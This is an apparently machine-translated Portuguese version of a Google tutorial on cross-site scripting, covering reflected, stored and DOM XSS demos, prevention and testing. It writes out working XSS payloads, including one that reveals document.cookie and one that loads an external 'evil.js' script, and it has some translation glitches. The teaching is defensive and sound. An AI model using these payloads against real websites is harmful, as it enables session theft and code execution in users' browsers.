Cross-Site Scripting – Segurança de Aplicações – Google

Tabela de Conteúdos

  • Introdução ao cross-site scripting
    • Público-alvo
    • O que é cross-site scripting e porque me devo importar?
    • Um exemplo básico
    • Por vezes a carga útil XSS pode persistir
    • O seu servidor não verá sempre a carga útil XSS
  • Prevenir XSS
    • O que posso fazer para prevenir XSS?
    • Utiliza um sistema de modelos com autoescaping consciente do contexto
    • Uma nota sobre o escape manual de entrada
    • Compreende os comportamentos comuns do navegador que levam a XSS
    • Aprende as melhores práticas para a tua tecnologia
  • Teste para XSS
    • Como posso testar para XSS?
    • Teste manual (“teste da caixa negra”)
    • Revisão do código (“teste da caixa branca”)
    • Testes unitários
    • Scanners de segurança de aplicações Web
    • Que método de teste devo utilizar?

Introdução ao cross-site scripting

Este documento destina-se a qualquer pessoa que desenvolva websites ou esteja interessada em tópicos de segurança na web. Um fundo em HTML, JavaScript, e Document Object Model (DOM) seria útil para alguns dos detalhes mais técnicos.

Não seja mau

Este documento fornece informações que poderiam ser utilizadas para avaliar a segurança de um sítio web contra vulnerabilidades de scripts cruzados. Não utilize o que aprender aqui para testar (ou pior, atacar) websites sem a permissão do proprietário do website.

O que é cross-site scripting e porque me devo importar?

Cross-site scripting (XSS) é um bug de segurança que pode afectar os sítios web. Se presente no seu website, este bug pode permitir que um atacante adicione o seu próprio código JavaScript malicioso nas páginas HTML exibidas aos seus utilizadores. Uma vez executado pelo navegador da vítima, este código pode então executar acções tais como alterar completamente o comportamento ou aparência do website, roubar dados privados, ou executar acções em nome do utilizador.

Não se preocupe, vamos mostrar-lhe o que tudo isto significa, mas antes de irmos mais fundo, vamos dar uma vista de olhos a alguns exemplos interactivos para ver como funciona.

Um exemplo básico

As vulnerabilidades XSS acontecem mais frequentemente quando a entrada do utilizador é incorporada na resposta de um servidor web (ou seja, uma página HTML) sem a devida fuga ou validação.

Considere a aplicação de pesquisa abaixo. Clique em “Mostrar demonstração” para carregar a aplicação. Esta é uma aplicação de demonstração funcional; assim, pode interagir com ela – tente procurar algo. Para sua referência, incluímos também o código-fonte da App Engine – pode ver o código clicando no link “Clique para ver o código-fonte da aplicação”.

aplicação de demonstração 1:

URL

Usando a aplicação de demonstração acima, procure por test. Isto devolve a seguinte saída:

Desculpe, não foram encontrados resultados para teste. Tente novamente.

Agora, procurar por <u>test</u>. Repare que “teste” está sublinhado na resposta:

Desculpe, não foram encontrados resultados para o teste. Tente novamente.

Assim, sem olhar para o código, parece que a aplicação inclui a nossa própria marcação HTML na resposta. Isso é interessante mas não terrivelmente perigoso. Se, contudo, a aplicação também nos permitir injectar código JavaScript, isso seria muito mais “interessante”.

Vamos tentar. Procura por <script>alert('hello')</script>.

Encontrámos um bug XSS!

Acabou de experimentar um ataque XSS “reflectido”, onde a carga útil do JavaScript (<script>alert('hello')</script>) é ecoada de volta na página devolvida pelo servidor.

Se olhar para a linha 50 do código fonte, verá que a mensagem que é exibida na página de resultados da pesquisa é uma string que é construída usando o query valor de entrada. Esta string é então passada para uma função que torna a saída HTML usando o método response.out.write na linha 37. O problema é que a entrada não se escapa antes de ser renderizada. Discutiremos a fuga mais tarde na secção “Prevenir XSS”.

No cenário acima, um agressor precisaria da vítima para qualquer um dos dois:

  • Visitar qualquer página controlada pelo agressor. Esta página poderia incluir um iframe invisível que aponta para o sítio que é vulnerável ao XSS, juntamente com uma carga útil para explorar a vulnerabilidade.
  • Li>Se clicar num link URL do atacante. Esta ligação incluiria a carga útil de exploração (no exemplo acima, https://xss-doc.appspot.com/demo/2?query=<script>alert(‘olá’)</script>) e pode até ser obscurecida por um encurtador de URL.

É de notar que uma carga útil XSS pode ser entregue de diferentes maneiras; por exemplo, pode estar num parâmetro de um pedido POST HTTP, como parte do URL, ou mesmo dentro do cookie do navegador web – basicamente, em qualquer lugar onde um utilizador possa fornecer entrada para o sítio web.

Tudo isto para gerar uma irritante janela pop-up pode não parecer valer a pena. Infelizmente, as vulnerabilidades XSS podem resultar em muito mais do que alertas numa página (um alerta pop-up é apenas uma forma conveniente para um atacante ou investigador detectar a presença de um bug XSS). Veja o próximo exemplo para um script mais malicioso.

Por vezes a carga útil XSS pode persistir

No ataque acima descrito, o servidor web faz eco da carga útil XSS à vítima de imediato. Mas também é possível ao servidor armazenar a entrada fornecida pelo atacante (a carga útil XSS) e servi-la à vítima num momento posterior. A isto chama-se um “XSS armazenado”.

Abaixo ilustramos um exemplo básico utilizando um sítio de rede social de demonstração. Vá em frente, introduza algum texto e partilhe o seu estatuto na aplicação de demonstração abaixo.

Aplicação de demonstração 2:

A seguir, experimente isto:

  1. Enter <img src=x onerror="alert('Pop-up window via stored XSS');"
  2. Partilhe o seu estatuto.
  3. Deverá ver um alerta pop-up! Verá o alerta novamente se actualizar a página ou partilhar outra mensagem de estado.

Agora, introduza <img src=x onerror="alert(document.cookie);" e carregue em ‘Partilhar estado!

O ID da sessão para esta aplicação (uma que é provavelmente ‘123412341234’) irá aparecer! Um atacante poderia usar o código de exploração XSS para recolher este ID de sessão, e tentar imitar o dono da conta.

Nota: Para reiniciar a aplicação e livrar-se dos irritantes pop-ups, clique no botão “Limpar todas as mensagens”.

Que mais se pode fazer para além de aparecerem alertas ou roubar os IDs das sessões? Pode fazer praticamente tudo o que o JavaScript permite. Tente introduzir o seguinte:

<img src=1 onerror="s=document.createElement('script');s.src='//xss-doc.appspot.com/static/evil.js';document.body.appendChild(s);"

Spooky, huh? Neste exemplo, um mau ficheiro JavaScript foi recuperado e incorporado via XSS.

O seu servidor não verá sempre a carga útil XSS

Nos dois exemplos anteriores, a entrada do utilizador foi enviada para o servidor, e o servidor respondeu de volta ao utilizador exibindo uma página que incluía a entrada do utilizador. Contudo, uma vulnerabilidade XSS armazenada ou reflectida também pode ocorrer sem envolvimento directo do servidor, se os dados fornecidos pelo utilizador forem utilizados numa operação JavaScript insegura. Ou seja, o XSS pode ocorrer inteiramente no JavaScript e HTML do lado do cliente (mais especificamente, no Modelo de Objecto do Documento ou DOM) sem que os dados sejam enviados de um lado para o outro entre o cliente e o servidor. Chamamos a esta subclasse de bugs “DOM-based XSS” ou “DOM XSS” para abreviar. Uma causa comum de bugs XSS de DOM é definir o innerHTML valor de um elemento DOM com dados fornecidos pelo utilizador.

Dê uma vista de olhos na seguinte aplicação. Utiliza um fragmento de URL para determinar qual o separador a mostrar.

aplicação Demo 3:

URL

A aplicação funciona como esperado quando se clica nos separadores. No entanto, também é possível abrir um URL, como por exemplo:

https://xss-doc.appspot.com/demo/3#’><img src=x onerror=alert(/DOM-XSS/)>

É possível copiar e colar o URL acima na “barra URL” na aplicação de demonstração acima e clicar no botão “Go”. Deverá ver um alerta de pop-up.

O XSS é accionado porque o script do lado do cliente usa parte do window.location para definir o innerHTML de um dos elementos dentro da página. Quando se vai ao URL acima, a variável location.hash é definida para #'><img src=x onerror=alert(/DOM-XSS/)>. Se olhar para a linha 33 do código fonte para index.html, verá que o substrato de location.hash (a string após o caracter #) é passado como argumento para a função chooseTab na linha 8. chooseTab constrói um elemento img para incorporação de uma imagem usando o seguinte:

html += "<img src='/static/demos/GEECS" + name + ".jpg' />";

O argumento location.hash substring é usado para definir o valor de name; isto resulta no seguinte elemento de img:

<img src='/static/demos/GEECS'><img src=x onerror=alert(/DOM-XSS/)>.jpg' />

O acima é HTML válido; contudo, o navegador não carregará a imagem e executará o código onerror. Este elemento img é finalmente adicionado ao documento via innerHTML na linha 12.

Nada é infalível

Damos algumas sugestões sobre como pode minimizar a hipótese de o seu sítio web conter vulnerabilidades XSS. Mas tenha em mente que tanto a segurança como a tecnologia evoluem muito rapidamente; portanto, sem garantias – o que funciona hoje pode não funcionar plenamente amanhã (os hackers podem ser bastante espertos).

O que posso fazer para prevenir o XSS?

Uma técnica comum para prevenir vulnerabilidades de XSS é “escapar”. O objectivo da fuga de carácter e string é assegurar que cada parte de uma string é interpretada como uma string primitiva, e não como um carácter ou código de controlo.

Por exemplo, ‘&lt;‘ é a codificação HTML para o caracter ‘<‘. Se incluir:

<script>alert('testing')</script>

no HTML de uma página, o script será executado. Mas se incluir:

&lt;script&gt;alert('testing')&lt;/script&gt;

no HTML de uma página, imprimirá o texto “<script>alert(‘testing’)</script>”, mas não executará realmente o guião. Ao escaparmos às etiquetas <script>“, impedimos a execução do script. Tecnicamente, o que fizemos aqui foi “codificar” não “escapar”, mas “escapar” transmite o conceito básico (e veremos mais tarde que no caso do JavaScript, “escapar” é de facto o termo correcto).

O seguinte pode ajudar a minimizar as hipóteses de o seu website conter vulnerabilidades XSS:

  • Utilizar um sistema de template com autoescaping consciente do contexto
  • Escaping manual (se não for possível utilizar um sistema de template com autoescaping consciente do contexto)
  • Utilizar um sistema de template com autoescaping consciente do contexto Utilizar comportamentos de browser comuns que levam a XSS

  • Aprender as melhores práticas para a sua tecnologia

O resto desta secção descreve estas medidas em detalhe.

Utilizar um sistema de modelos com autoescapagem consciente do contexto

O meio mais simples e melhor para proteger a sua aplicação e os seus utilizadores de bugs XSS é utilizar um sistema de modelos web ou uma estrutura de desenvolvimento de aplicações web que se autoescapa e é consciente do contexto.

“Auto-escaping” refere-se à capacidade de um sistema de template ou estrutura de desenvolvimento web para escapar automaticamente à entrada do utilizador, a fim de impedir a execução de quaisquer scripts incorporados na entrada. Se quisesse evitar XSS sem auto-escaping, teria de escapar manualmente à entrada; isto significa escrever o seu próprio código personalizado (ou chamar uma função de escape) em qualquer lugar onde a sua aplicação inclua dados controlados pelo utilizador. Na maioria dos casos, não é recomendada a introdução manual de fugas; discutiremos a introdução manual de fugas na secção seguinte.

“Context-aware” refere-se à capacidade de aplicar diferentes formas de fuga com base no contexto apropriado. Porque CSS, HTML, URLs, e JavaScript utilizam uma sintaxe diferente, são necessárias diferentes formas de fuga para cada contexto. O seguinte exemplo de modelo HTML usa variáveis em todos estes diferentes contextos:

<body> <span style="color:{{ USER_COLOR }};"> Hello {{ USERNAME }}, view your <a href="{{ USER_ACCOUNT_URL }}">Account</a>. </span> <script> var id = {{ USER_ID }}; alert("Your user ID is: " + id); </script></body>

Como se pode ver, tentar escapar manualmente à entrada para vários contextos pode ser muito difícil. Pode ler mais sobre auto-escaping consciente do contexto aqui. Go Templates, Google Web Toolkit (GWT) com SafeHtml, Closure Templates, e CTemplate, todos fornecem auto-escaping consciente do contexto para que as variáveis escapem correctamente para o contexto da página em que aparecem. Se estiver a utilizar templates para gerar HTML dentro do JavaScript (uma boa ideia!), Closure Templates e Angular fornecem capacidades de fuga incorporadas.

Uma nota sobre a entrada de escape manual

Escrever o seu próprio código para escapar à entrada de escape e depois aplicá-lo correcta e consistentemente é extremamente difícil. Não recomendamos que fuja manualmente dos dados fornecidos pelo utilizador. Em vez disso, recomendamos vivamente que utilize um sistema de modelos ou uma estrutura de desenvolvimento web que proporcione um autoescaping consciente do contexto. Se tal for impossível para o seu sítio web, utilize bibliotecas e funções existentes que se saiba funcionarem, e aplique estas funções de forma consistente a todos os dados fornecidos pelo utilizador e a todos os dados que não estejam directamente sob o seu controlo.

Compreenda os comportamentos comuns do navegador que levam a XSS

Se seguir as práticas da secção anterior, pode reduzir o risco de introduzir bugs XSS nas suas aplicações. Existem, no entanto, formas mais subtis de XSS aparecerem. Para mitigar o risco destes casos de canto, considere o seguinte:

  • Especifique o correcto Content-Type e charset para todas as respostas que possam conter dados do utilizador.
    • Sem tais cabeçalhos, muitos navegadores tentarão determinar automaticamente a resposta apropriada, executando o sniffing do conteúdo ou do conjunto de caracteres. Isto pode permitir uma entrada externa para enganar o browser na interpretação de parte da resposta como marcação HTML, o que por sua vez pode levar a XSS.
  • Cerveja que todos os URLs fornecidos pelo utilizador comecem com um protocolo seguro.

    • É frequentemente necessário utilizar URLs fornecidos pelos utilizadores, por exemplo como um URL contínuo para redireccionar após uma determinada acção, ou num link para um recurso especificado pelo utilizador. Se o protocolo do URL for controlado pelo utilizador, o navegador pode interpretá-lo como um URI de scripting (por exemplo javascript:data:, e outros) e executá-lo. Para prevenir isto, verificar sempre que o URL começa com um valor branco (geralmente apenas http:// ou https://).
  • Arquivos carregados pelo utilizador anfitrião num domínio sandboxed.

Aprenda as melhores práticas para a sua tecnologia

As seguintes melhores práticas podem ajudá-lo a reduzir as vulnerabilidades XSS no seu código para tecnologias específicas.

  • JavaScript: Muitas vulnerabilidades XSS são causadas pela passagem de dados do utilizador para os dissipadores de execução Javascript; mecanismos de navegação que executarão scripts a partir da sua entrada. Tais APIs incluem *.innerHTMLdocument.write e eval(). Quando dados controlados pelo utilizador (sob a forma de location.*document.cookie ou variáveis JavaScript contendo dados do utilizador) são devolvidos pelo servidor, a chamada de tais funções pode levar a XSS.
  • JSON: Certifique-se de aplicar o escape adequado (incluindo HTML-escaping de caracteres tais como < e >). Não permitir que os dados fornecidos pelo utilizador sejam devolvidos como a primeira parte da resposta (como acontece frequentemente no JSONP). Não utilizar eval() para analisar os dados.
  • Flash: Considere o alojamento de ficheiros SWF num domínio separado.
  • GWT: Siga as directrizes do Guia do Desenvolvedor GWT sobre o SafeHtml. Em particular, evite o uso de APIs que interpretam valores simples de String-type como HTML e prefira as variantes SafeHtml quando disponíveis. Por exemplo, preferem HTML#setHTML(SafeHtml) sobre HTML#setHTML(String).
  • sanitização HTML: Se precisar de suportar marcação fornecida pelo utilizador, tais como imagens ou links, procure tecnologias que suportem a higienização HTML. Por exemplo, Caja inclui um anti-sanitizador de html escrito em Javascript que pode ser utilizado para remover Javascript potencialmente executável de um snippet de HTML.

Proceder com cautela

Como em qualquer teste de segurança, pode haver efeitos secundários não intencionais. Não assumimos qualquer responsabilidade pela sua utilização dos conhecimentos aqui obtidos (com o poder vem a responsabilidade); portanto, utilize esta informação por sua conta e risco.

Como posso testar para XSS?

Não há bala de prata para detecção de XSS em aplicações. A melhor maneira de testar para os bugs XSS é através de uma combinação de:

  • testes manuais,
  • testes unitários de escrita para verificar a correcta fuga ou sanitização em partes cruciais da sua aplicação, e
  • utilização de ferramentas automatizadas.

Esta secção descreverá e fará recomendações para cada estratégia.

teste manual (“teste da caixa negra”)

XSS é um risco sempre que a sua aplicação lide com a entrada do utilizador.

Para melhores resultados, configure o seu navegador para usar um proxy que intercepta e digitaliza o tráfego para ajudar a identificar problemas. As ferramentas de exemplo incluem Burp Proxy e ratproxy.

Realize estes testes básicos na sua aplicação:

  • Interagir com a sua aplicação. Insira strings que contenham metacaracteres HTML e JavaScript em todas as entradas da aplicação, tais como formulários, parâmetros URL, campos ocultos(!), ou valores de cookies.
  • Uma boa string de teste é >'>"><img src=x onerror=alert(0)>.
  • Se a sua aplicação não escapar correctamente a esta cadeia de caracteres, verá um alerta e saberá que algo correu mal.
  • Quando a sua aplicação lida com URLs fornecidas pelo utilizador, introduza javascript:alert(0) ou data:text/html,<script>alert(0)</script>.
  • Criar um perfil de utilizador de teste com dados semelhantes aos das cadeias de teste acima. Utilize esse perfil para interagir com a sua aplicação. Isto pode ajudar a identificar os bugs XSS armazenados.

Revisão de código (“teste da caixa branca”)

Peça a um colega ou amigo para rever o seu código com novos olhos (e ofereça-se para lhe retribuir o favor!). Peça-lhes que procurem especificamente vulnerabilidades XSS e aponte-as para este documento, se isso lhe for útil.

Testes unitários

Use testes unitários para se certificar de que um determinado pedaço de dados escapou correctamente. Embora nem sempre seja viável testar por unidade em todos os locais onde os dados fornecidos pelo utilizador são exibidos, deve, no mínimo, escrever testes por unidade para qualquer código ligeiramente fora do normal para se certificar de que o resultado corresponde às suas expectativas. Isto inclui locais onde:

  • Marcação que inclui a entrada do utilizador é gerada no código – verificar que qualquer entrada não confiada é fugida ou removida.
  • A sua aplicação é redireccionada para URLs externos – certifique-se de que o URL começa com http:// ou https://.
  • Utiliza um higienizador ou stripper HTML para remover etiquetas da marcação – verifique se qualquer marcação não suportada escapou.

Também, sempre que encontrar e corrigir um erro XSS no seu código, considere adicionar um teste de regressão para o mesmo.

Scanners de segurança de aplicações Web

Pode usar software de scan de segurança para identificar vulnerabilidades XSS dentro das aplicações. Embora os scanners automáticos não sejam frequentemente optimizados para a sua aplicação específica, permitem-lhe encontrar rápida e facilmente as vulnerabilidades mais óbvias. O Skipfish é uma dessas ferramentas.

Que método de teste devo utilizar?

Bem, para ser honesto – como muitos deles possíveis (que tipo de resposta esperava das pessoas de segurança?). Nenhuma metodologia de teste é infalível; assim, a realização de uma combinação de revisões de código, e testes manuais e automatizados, diminuirá as probabilidades de uma vulnerabilidade XSS na sua aplicação.

Deixe uma resposta

O seu endereço de email não será publicado. Campos obrigatórios marcados com *